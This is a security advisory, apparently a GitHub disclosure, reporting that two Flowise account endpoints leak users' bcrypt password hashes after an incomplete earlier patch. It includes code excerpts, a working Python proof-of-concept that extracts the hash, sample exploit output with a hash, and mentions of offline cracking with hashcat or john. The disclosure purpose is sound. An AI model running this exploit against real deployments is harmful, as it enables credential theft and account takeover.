Title: Bcrypt Password Hash Exposure via /api/v1/account/login and /api/v1/account/invite Endpoints
The POST /api/v1/account/login endpoint returns the full database user object — including the bcrypt password hash (credential), tempToken, and tokenExpiry — in its JSON response body. An authenticated attacker can harvest password hashes for offline cracking. The POST /api/v1/account/invite endpoint has the same flaw in its existing-user code path, allowing an admin to extract any user's password hash by submitting an invite for that user's email.
Both are incomplete fix variants of the security patch introduced in PR #5167 ("Secure password reset endpoints"), which added sanitizeUser() but only applied it to forgotPassword(), resetPassword(), and updateUser() — missing login(), saveInviteAccount() (existing user branch), and verify().
The root cause is in packages/server/src/enterprise/services/account.service.ts:
Variant A — login() (line 450–505):
The function loads the full user entity from the database via readUserByEmail(), validates the password, then returns the entire unsanitized user object directly:
// account.service.ts line 460
const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
// ... password validation ...
// line 501 — returns raw user entity with credential hash
return { user, workspaceDetails: wsUserOrUsers }The controller then serializes this straight to HTTP JSON:
// account.controller.ts line 27-35
public async login(req: Request, res: Response, next: NextFunction) {
const accountService = new AccountService()
const data = await accountService.login(req.body)
return res.status(StatusCodes.CREATED).json(data) // credential hash in body
}Variant B — saveInviteAccount() existing user branch (line 376–377):
When inviting an email that already has an account, the function assigns the full user entity (including credential) into the response data without sanitization:
// account.service.ts line 376-377
if (this.identityManager.getPlatformType() === Platform.ENTERPRISE) {
data.user = user // full user entity with credential hash
// ...
}
// line 437
return data // data.user.credential is EXPOSEDCompare with functions that were correctly patched in PR #5167:
// updateUser() — properly sanitized
return sanitizeUser(updatedUser)
// saveRegisterAccount() — properly sanitized
delete data.user.credential
delete data.user.tempToken
delete data.user.tokenExpiryPrerequisites: A running Flowise instance (open-source or enterprise mode) with at least one registered user.
Step 1 — Deploy target:
docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latestOpen http://localhost:3000 in a browser and complete the initial "Setup Account" registration (e.g., admin@test.com / AdminPassword123!).
Step 2 — Authenticate (get JWT cookie):
import requests
s = requests.Session()
r = s.post("http://localhost:3000/api/v1/auth/login",
json={"email": "admin@test.com", "password": "AdminPassword123!"},
allow_redirects=False)
# JWT is now stored in session cookiesStep 3 — Exploit the vulnerable login endpoint:
r2 = s.post("http://localhost:3000/api/v1/account/login",
json={"user": {"email": "admin@test.com", "credential": "AdminPassword123!"}},
headers={"x-request-from": "internal"})
data = r2.json()
print(data["user"]["credential"])
# Output: $2a$10$FIDfEa39MuRmDt9Ewo2Y3uXHibS93C1HYZc3UzoHeGYLMKMGQl95uFull automated PoC script:
#!/usr/bin/env python3
"""PoC: Credential Hash Exposure via /api/v1/account/login"""
import requests, sys, json
BASE_URL = "http://localhost:3000"
EMAIL = "admin@test.com"
PASSWORD = "AdminPassword123!"
s = requests.Session()
# Step 1: Authenticate via safe passport endpoint
r = s.post(f"{BASE_URL}/api/v1/auth/login",
json={"email": EMAIL, "password": PASSWORD},
allow_redirects=False, timeout=15)
token = s.cookies.get("token", "")
if not token:
print("[ERROR] Authentication failed"); sys.exit(1)
print(f"[+] Authenticated. JWT: {token[:40]}...")
# Step 2: Call vulnerable endpoint
r2 = s.post(f"{BASE_URL}/api/v1/account/login",
json={"user": {"email": EMAIL, "credential": PASSWORD}},
headers={"x-request-from": "internal"}, timeout=15)
if r2.status_code in (200, 201):
user = r2.json().get("user", {})
cred = user.get("credential")
if cred and cred.startswith("$2"):
print(f"[VULNERABLE] Credential hash exposed: {cred}")
print(f" User: {user.get('email')} (id: {user.get('id')})")
print(f" All response keys: {list(user.keys())}")
else:
print("[NOT VULNERABLE] No credential in response")======================================================================
Flowise Credential Hash Exposure - Real-World PoC
CWE-200 / CWE-312 - Sensitive Data in API Response
======================================================================
[*] Step 1: Authenticating via /api/v1/auth/login (passport-based)...
Status: 200
Location: N/A
JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
[OK] Authentication successful
[*] Step 2: Calling VULNERABLE endpoint /api/v1/account/login...
(This endpoint returns raw user object with credential hash)
Status: 201
======================================================================
[VULNERABILITY CONFIRMED] Credential hash EXPOSED!
======================================================================
user.id: 8dee8920-9161-4fc2-98b9-8123f0d50c07
user.email: admin@test.com
user.credential: $2a$10$FIDfEa39MuRmDt9Ewo2Y3uXHibS93C1HYZc3UzoHeGYLMKMGQl95u
[!] Confirmed bcrypt hash format
[!] This hash can be cracked offline with hashcat/john
Comparison:
SAFE endpoint (/api/v1/auth/login): Does NOT return credential
VULN endpoint (/api/v1/account/login): Returns credential hash!
Exposed sensitive fields: ['credential', 'tokenExpiry']
Evidence saved to /tmp/flowise-credential-leak-evidence.json
======================================================================
Result: [EXPLOITED-EXTERNAL] - Credential hash exposure CONFIRMED
======================================================================
An authenticated user can extract bcrypt password hashes from the API response by calling /api/v1/account/login. On enterprise deployments, an admin can harvest any user's password hash via /api/v1/account/invite by sending invite requests for existing users' emails. The exposed hashes can be cracked offline with tools like hashcat or john, enabling:
- Credential stuffing against other services where users reuse passwords
- Lateral movement by obtaining plaintext passwords of other Flowise users
- Privilege escalation if a lower-privileged user cracks an admin's password
The vulnerability is a direct regression of the security fix in PR #5167, which fixed forgotPassword(), resetPassword(), and updateUser() but missed login(), saveInviteAccount() (existing user path), and verify().
- Ecosystem: npm
- Package name: flowise
- Affected versions: <= 3.0.12 (all versions after commit
9e178d688which introduced the incomplete patch) - Patched versions: <None>
- Severity: Medium
- Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-312: Cleartext Storage of Sensitive Information